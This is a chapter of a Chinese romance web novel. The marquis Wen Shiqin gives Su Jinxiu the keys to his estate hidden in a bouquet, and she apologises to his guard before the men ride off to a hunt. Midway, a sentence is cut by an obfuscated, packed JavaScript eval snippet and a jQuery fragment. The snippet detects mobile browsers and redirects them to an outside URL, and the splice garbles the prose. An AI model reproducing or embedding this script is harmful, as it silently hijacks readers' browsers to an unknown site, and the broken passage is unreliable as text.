86.献身家
作品:《织心映锦》 镇远侯府书房,晨露未晞。
莫辞执密报躬身呈上,闻时钦展卷略阅,旋即将密函合置案侧。
“再增派数路人马,务必擒得此獠。切记,留他全须全尾,莫教他轻易赴死。”
“此等孽障,须得我亲自了断,断断不能让他死得这般痛快。”
吩咐毕,他便翻身上马,披风卷着猎猎风势,直往华韵阁而去。
晨间原是浓雾锁城,待日头渐升,金辉穿云破雾,才将那层薄纱似的浓瘴缓缓驱散。
雾气散尽时,华韵阁中央的绣楼,也被晨光镀上一层暖金。
三楼窗棂后、梨花木案前,苏锦绣正统筹着大小事务。
近日吏部侍郎家三郎崔澄与工部侍郎家六娘宋仙蕙的亲事陡加急就,从新娘子的九凤朝阳冠、绣金龙霞帔,到新郎的绛色锦袍、玉带金鱼,再及喜房的鸳鸯帐、百子图陈设,一应采造全由华韵阁承应。苏锦绣忙得晷刻无暇,连往侯府的空当都寻不出。
而闻时钦那边,皇家秋猎的禁兵布防、安防细务也压得他分身乏术。
两人已三日未见,于闻时钦而言,真个是三秋兮不见,如隔兮九垓。
苏锦绣将手头事务料理妥当,便携着晨露的清寒走下阁楼,她虽起了个大早,梳妆却仔细,鬓边两侧挽着双环髻,垂落一缕麻花辫于胸前,坠了粉色流苏。一身淡粉渐变绣罗裙,绣着簇簇花团,薄纱披帛随步履轻扬,端的是燕燕轻盈,莺莺娇软。
才迎着晨光伸了个懒腰,便见前厅绣娘们齐齐垂首行礼,远远瞧着那阵仗,心下已了然。
她不自觉上前迎去,登阶时低头一瞬提了提裙裾,再抬头却见厅中没了那人的身影。
正疑惑是否幻觉,背上忽被轻拍,猛地扭头,却见一大束粉瓣木芙蓉娇艳欲滴。
待花束缓缓降下,才见闻时钦身着那身她前几日才制成的骑装,靛蓝主色衬得金领敞阔,朱红纹饰于其间流转,头戴银冠,冠上红宝与蓝石交相焕彩。
“阿姐可知,花娇人更娇?”闻时钦见她笑意盈盈,将木芙蓉递到她怀中。
“油嘴滑舌……”苏锦绣笑着接花入怀,清甜花香沁入肺腑,又瞥见厅中绣娘皆在忙碌,便牵起他的手往庭院私语,“今个怎的想起穿这骑装了?”
闻时钦指尖顺势回握,低头浅笑:“阿姐亲手赶制好的新衣裳,自然要先穿给阿姐看。对了,待会我便要赴皇家秋猎,阿姐要不要同去?”
“前几日你便问过了呀。”苏锦绣摇了摇头,“那秋猎都是贵胄的场子,我去凑什么热闹?况且我又不会射猎。”
“那又何妨?”闻时钦眼底笑意更深,开始怂恿,“你只管坐在我身前,且陪我亲射虎看孙郎,岂不是趣事一桩?”
“不去不去。”苏锦绣摆了摆手,“崔澄那桩亲事的活计还没赶完呢,虽说给了三倍酬金,可也实在太赶了。他之前不是还闹着要娶凝珠吗?男人变得倒真是快。”
闻时钦不谈外人的事,只絮絮嘱咐:“既如此,阿姐今晚上便乖乖在侯府等我。你这几日未来,我床上夜夜寒凉,孤衾难暖,直要染了风寒。”
苏锦绣被他这话逗得笑弯了眼,肩头微微颤动。他见状,便顺杆而上,又提新求:“阿姐亲制的这身骑装,真是合我心意到了骨子里,日后可要多多为我做几身才好。”
“你想的美。”苏锦绣斜他一眼,笑意未减,“我华韵阁的定制工期已排至来年,哪能随意为你赶制?更别说让你插队了。”
两人言笑间,已步至绣楼首层。几名新来的学徒小绣娘,不识闻时钦身份,只当是位玉面贵客,见他与阁主并肩而立,郎艳独绝,女貌倾城,端的是天造地设,忍不住偷偷觑了数眼。琳琅瞧出端倪,忙轻咳一声,将学徒们引了出去,不欲打扰二人私语。
“啊?”闻时钦故作苦恼地叹了口气,语气夸张,“阁主竟这般铁面无私,连小弟都走不得旁门左道么?”
话音未落,他抬步上前,身姿微倾。苏锦绣下意识举花欲挡,那束艳艳木芙蓉便稳稳夹在二人胸前,咫尺之间,呼吸相闻,他眼底漾着狡黠讨好的笑意,映得眸光灼灼如星。
“既如此,小弟可否以重金,求请阁主亲手裁衣?”
苏锦绣眼波流转,故意吊他:“那得看这重金,够不够分量了。”
“自然是沉甸甸,足可表心。”闻时钦下巴微扬,目光落在木芙蓉上,语气笃定,“小弟的全部身家俸禄、田产契书,尽可悉数赠予阁主。”
苏锦绣顺着他的目光看去,指尖点了点花萼:“这芙蓉何时成了你的全部身家?莫名点石成金,你可真是个无赖。”
“阁主细细寻寻便知,此中自有乾坤。”闻时钦笑得神秘莫测,眼底藏着未说尽的巧思。
苏锦绣满心疑窦,低头打量那束娇艳的木芙蓉,瞧出端倪后便伸出纤手探入花束深处。
指尖触到一串冰凉坚致之物,她心头微动,缓缓抽手而出——
竟是一串打磨得光滑的对牌钥匙,还缀着一枚小巧的鎏金令牌,纹饰玲珑精巧,触手沁凉如冰。
闻时钦眼底流光溢彩,雀跃邀功道:“这可是镇远侯府的银库钥匙,还有管家对牌。”
“小弟的俸禄身家,已全权上交阁主。”
话音未落,他不顾花间阻隔,径直上前将苏锦绣紧紧搂住,腰间力道紧实,中间的木芙蓉被夹得花瓣微颤,艳色落了些许在两人衣襟。
闻时钦俯首与她鼻尖相抵,灼热的呼吸拂过她的耳畔,声线低哑缱绻:“不知阁主可还满意?”
苏锦绣被他这一连串痴缠举动逗得心尖发软,连日来的劳碌倦意竟消散大半。唇角不受控制地漾起笑意,却又怕被他瞧出,忙偏过头去,避开他灼灼如炬的目光:“你这是钓鱼打窝、步步为营呢。我若收了这信物,日后可要打理你府中大小庶务,那岂不是自寻劳碌?”
“早料到阿姐会这般说。”闻时钦指尖轻摩挲她腰侧衣料,声线愈发温软缱绻,“府中已为你寻得一位宫里出来的嬷嬷,人品端方持重,底细我已细细核验,阿姐尽可安心。日后府中杂务皆由她执掌,你只需管我一人便好,如何?”
苏锦绣终是按捺不住,回头时眼底盛满笑意,抬手轻轻捏了捏他的脸颊:“小弟这般曲意殷勤,那我便勉为其难,给你破一次例、插个队吧。”
打情骂俏间,秋猎时辰将至,闻时钦终是恋恋不舍地与苏锦绣并肩步出华韵阁。
出了阁门,苏锦绣抬眼望去,他的坐骑旁已有两人刚刚趋至。
一人是那日遭她掌掴的的心腹护卫,另一人是位面生公子,生得阴柔精致,竟不输女子妍媚,身着一袭天青长衫,风骨清绝。
那青衣公子见了苏锦绣,眼底骤然一亮,当即翻身下马,阔步上前,似要凝神端详她究竟是何等容姿。
而身为闻时钦左膀右臂的心腹侍卫周云策,却在马上攥紧缰绳退了数步,那日挨扇的余悸未消,他眉宇间满是忌惮,生怕再触逆鳞、重遭掌掴。
其实来时路上,周云策已对贺兰阙详述,那日苏锦绣在鸣玉坊何等威风,险些将在场众人挨个掴斥个遍。可贺兰阙全然不信,只当他妄加杜撰。能让闻时钦痴迷到发狂的女子,纵使动怒惩人,想来也别有一番林下风致。
今日一见,果不其然。
贺兰阙目不转睛,步步趋近,衣袂翩跹间竟带了迫人之势。苏锦绣见他容色柔靡,却来势汹汹,下意识后退了半步。
闻时钦当即抽腰间佩剑,反握后以柄端稳稳抵在贺兰阙胸前,眉峰紧蹙:“干什么呢,保持距离。”
贺兰阙挑眉轻笑,漫不经心地抬手拨开剑柄,戏谑不已:“你看看你,倒像是防贼一般,真教我汗颜。我不过是想与弟妹问声安好罢了。”
苏锦绣与贺兰阙略作寒暄后,便瞥见他后方那如鼠避猫般的身影,心下倏生歉疚。
想来此人必是与闻时钦同历沙场、生死相托的袍泽。那日在鸣玉坊她确是恼火攻心,行事不管不顾,教人家被无故迁怒。
苏锦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610833|181871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绣牵了牵身旁人的衣袖,闻时钦会意低头,她便附耳轻语:“这位贺兰公子,原是你的军师?那马上那位,英气凛然似同你一般的武将,可是你的侍卫?”
闻时钦则冷笑一声,又酸溜溜地揶揄:“怎么,看上人家了?”
“不是。”苏锦绣柔着声音解释,“那日我昏了头,平白让他挨了一掌,想好好跟他道个歉。”
“道歉?”闻时钦挑眉,“我挨的那几掌就白受了?你不先疼疼我,反倒先想着疼他?”
苏锦绣本想反驳“道歉哪是疼他”,可转念一想,跟闻时钦这醋坛子掰扯,几百个来回也不够他酸的。
她这些时日被他磨得愈发玲珑剔透,于是话锋一转,就软着嗓音道:“我这不是想给你身边的人结些善缘、留个好印象嘛,省得日后旁人说起你的新妇,只敢背地里称一句母老虎,岂不是折了你的脸面?”
“我的……新妇?”闻时钦捕捉到关键词,右唇角倏然上扬,眼底醋涛瞬时退去七七八八,唯余藏不住的灼灼笑意。
他直起身躯,挥袖朗声道:“周云策,速下马来!”
马上的周云策闻言,心下惴惴如临深渊,可闻时钦已然发话,又不敢违抗,只得硬着头皮翻身下马,一步一挪地走上前,渐渐近得要与贺兰阙并肩。
苏锦绣见状,上前一步正要开口致歉,没曾想周云策似是惊弓之鸟,条件反射般猛地抬手捂住脸,下意识往后缩了半步,戒备十足。
“这是作甚?”闻时钦啧了一声,不耐训斥,“她还能吃了你不成?我阿姐弱柳扶风的,连绣针都怕扎手,怎会难为你?站好!”
弱柳扶风……?
连绣针都怕扎手……?
这回轮到周云策汗颜了。
那日她那一巴掌扇过来,直教他眼冒金星、半边脸火辣辣的,活这么大,从没见过手劲这般利落的小娘子。
可闻时钦的话向来如军令,周云策当即挺直脊背站定,只是眼珠乱瞟,目光飘向别处,硬是不敢与苏锦绣对视。
苏锦绣上前半步,敛衽行了一礼,随即开口致歉:“周公子,那日在鸣玉坊,是我一时莽撞失了分寸。今日特向你赔罪,待你们秋猎归来,还请公子移步侯府,我备下薄宴,还有汴京难得一见的美酒醉流霞,聊以表歉意,还望公子莫要记挂前嫌。”
周云策听得这诚恳致歉,忙摆手道:“无妨无妨,姑娘言重了,不过是件小事。”
说罢,他忍不住偷瞟了闻时钦一眼,那日他只挨了一掌便眼冒金星,主帅可是结结实实受了左右两掌,还能喜滋滋的,果然是能当主帅的人,这般耐力,当真非他等所能及。
诸事既定,三人各自翻身上马。
闻时钦坐稳鞍鞯,却又俯身探来,指尖轻柔地替苏锦绣理了理被风拂乱的鬓发,动作缠绵得惹得身后周云策二人暗自咋舌,酸水都快溢了嗓子眼。
不过是白日秋猎、入夜便归的事,偏生弄得这般难舍难分,仿佛要别离三五月一般。
苏锦绣瞧着那两人眼底藏不住的打趣,忍着笑推了推他的手臂:“他们都在笑你呢,还不快走?”
“笑便让他们笑去。”闻时钦毫不在意,指尖顺势摩挲过她的唇瓣,“他们无心上人盼着归,自然嫉妒。我有阿姐等我回来,可比他们快活多了。”
“行了行了,快去罢,莫误了时辰。”苏锦绣被他说得耳尖发烫,催着他动身。
闻时钦却不肯即刻扬鞭,眸中带着柔光许诺:“等着我猎个最俊的白狐,剥了皮给你缝个暖手的小炉,冬日里揣着正好。”
苏锦绣点了点头,他才轻喝一声“驾”,骏马扬蹄,与二人一同疾驰而去。
苏锦绣目送闻时钦身影渐远,直至隐入长街尘霭,方转身回阁。将婚宴诸般琐事一一料理停当,点检无误后,已是午后。
她取了缰绳给枣糕套上,便往长安街策马行去。
才至镇远侯府门前,正要勒马驻足,身后忽传来一声清越唤声,直直叫了声她的名字。

